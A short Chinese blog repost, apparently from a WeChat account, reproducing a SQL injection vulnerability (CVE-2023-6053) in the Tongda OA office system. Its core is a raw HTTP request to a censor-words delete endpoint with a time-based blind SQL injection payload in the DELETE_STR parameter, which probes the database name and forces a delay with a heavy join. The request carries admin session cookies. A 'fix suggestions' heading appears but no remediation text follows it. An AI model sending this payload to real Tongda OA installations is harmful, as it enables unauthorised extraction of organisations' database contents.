通达OA（Office Anywhere网络智能办公系统）是由北京通达信科科技有限公司自主研发的协同办公自动化软件，是与中国企业管理实践相结合形成的综合管理办公平台。
GET /general/system/censor_words/manage/delete.php?DELETE_STR=1)%20and%20(substr(DATABASE(),1,1))=char(116)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1HTTP/1.1Host:192.168.245.134Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=620a3f5c; _csrf=fb9605328bee63ab5b949c268b858d698cf75170a848c7b0882a2b8a14d66f71a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22dJ8hKTNoKf_MTAQdu5ag7otcWNXsBgUm%22%3B%7D; creat_work=new; PHPSESSID=uim7dre68mjnos5qhk7oljv264; SID_66=1ca61957Upgrade-Insecure-Requests:1右下角看延时
0X03 修复建议
原文始发于微信公众号（皓月的笔记本）：【漏洞复现】通达OA SQL注入漏洞（CVE-2023-6053）
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论